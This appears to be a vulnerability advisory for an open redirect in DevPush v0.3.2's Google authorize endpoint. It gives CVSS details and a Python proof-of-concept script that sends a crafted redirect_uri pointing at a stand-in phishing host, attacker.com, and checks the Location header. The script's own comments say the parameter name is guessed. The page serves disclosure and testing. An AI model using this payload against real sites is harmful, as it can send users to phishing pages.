An open redirect in the /api/google/authorize endpoint of hunvreus DevPush v0.3.2 allows attackers to redirect users to malicious sites via supplying a crafted URL.
CVSS Details
CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Configurations (Affected Products)
No configuration data available.
hunvreus DevPush 0.3.2
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
def check_open_redirect(target_url):
# Malicious destination URL
evil_url = "http://attacker.com/phish"
# The vulnerable endpoint likely takes a redirect parameter
# Common parameter names: redirect_uri, url, next, return
payload_url = f"{target_url}/api/google/authorize?redirect_uri={evil_url}"
try:
# Send request, do not follow redirects to capture the Location header
response = requests.get(payload_url, allow_redirects=False, timeout=5)
if response.status_code in [301, 302, 303, 307, 308]:
location = response.headers.get('Location', '')
if evil_url in location:
print(f"[+] Vulnerability Confirmed!")
print(f" Target: {target_url}")
print(f" Redirects to: {location}")
return True
print("[-] Vulnerability not detected or parameter name incorrect.")
return False
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
target = "http://localhost:8000" # Replace with actual target
check_open_redirect(target)